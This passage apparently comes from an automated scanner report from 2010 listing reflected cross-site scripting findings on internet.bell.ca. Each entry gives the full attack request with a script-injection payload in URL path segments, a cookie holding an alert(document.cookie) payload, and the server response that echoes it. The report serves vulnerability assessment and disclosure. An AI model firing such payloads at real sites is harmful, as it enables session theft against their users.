Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:27 GMT
Connection: close
Set-Cookie: SMSESSION=ADz/yrnwG56HYy8S3A20gyvSS3Tmljj12JZOle1p2C4J0WYKAuVKeGN2OXPQ0akR0WjjimL6EzHZY1reqcH7G7ayimieZ1HoHLhK3vX9euVzVevMmphyMbsXGM6Rmqrj1Lsm6Ctva5W0wEWNRfFxB2Ltbw9Itr3MnZmqjPm8ZAY7V4pQi/x0G7uj/09jQbS9lK3rd0ZHkNC/yzGZzJvjx/rQXSGtvRFXLNGV4z3J/abAUzfYCOqAgFiLh/rMSMcWpIoXwuLta1pVTtXIiNioQqBidDeke3OrI48sCiV8JpX/QJZBYPVBFA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:28 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ype="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.dialogpopup.jsdeed8"><script>alert(1)</script>f029067181a" />
...[SNIP]...

2.52. http://internet.bell.ca/js/jquery.easing.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.easing.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b191a"><script>alert(1)</script>45d0d21f4f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsb191a"><script>alert(1)</script>45d0d21f4f/jquery.easing.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:33 GMT
Connection: close
Set-Cookie: SMSESSION=qNllUqJBVj+M0QS6raLvXlJiJ2z0CgDhjgQrm4465MM5n6wVEAzxwTnKmHcTDB7XSkx1oosV7W/8h8fP/TxlrAI0yo0NPpzLKj46lubRI8lPsB5a3dRS01pBtlqCrDSqzdReWBFvm6jHVSbVVCC8GA6jVrKxxO3c+7fKW/SaiF8VmE2F80naxF+h3mnAAquqtV8e0Q+AGQLX0Ux15T5vty1iC/ecZ9RhtD5+GKjmMkKZPMCLYgpeLjl0RruN7AzTFokPX0Aa79WTfVtKOr1Ccq8cwUyqO0iMd6Se9PlZKiNPq73SRebJGQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:34 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:34 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:34 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:34 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:34 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:34 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:34 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:34 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:34 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:34 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/jsb191a"><script>alert(1)</script>45d0d21f4f/jquery.easing.js" />
...[SNIP]...

2.53. http://internet.bell.ca/js/jquery.easing.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.easing.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33a98"><script>alert(1)</script>f986a94188e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.easing.js33a98"><script>alert(1)</script>f986a94188e HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:50 GMT
Connection: close
Set-Cookie: SMSESSION=mS2WrxqSOWYbGlBmS/IFPXFacqIK/oqpWFCeA2p8XS3cRMestzqqQy8uoBKw8+ybZObxm45bjFacUgxEi7C1Bp6hh01+W5rC1GSn7Ft+qJFDLPfUa24zGvrrUlXzurceDleK7GDWbDXKzkxK/NpOeuavA5fAuyvLb6rFArfKUPGuqiapia3uKpCfJz3f6Mky2pus+lGbEdOY2vU2LfdnbM4woyZKyveLdfupFDCmh6HhCFMCuvaiViw18VW38J6zshYtzR2ca5jTbxncnuaAIkfi7L/iD5N5GF1ENPfo+1xp4U9kxmsLiQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:51 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:51 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:51 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:51 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:51 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:51 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:51 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:51 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:51 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:51 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
put type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.easing.js33a98"><script>alert(1)</script>f986a94188e" />
...[SNIP]...

2.54. http://internet.bell.ca/js/jquery.flash.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.flash.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33e28"><script>alert(1)</script>59286644dfd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js33e28"><script>alert(1)</script>59286644dfd/jquery.flash.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
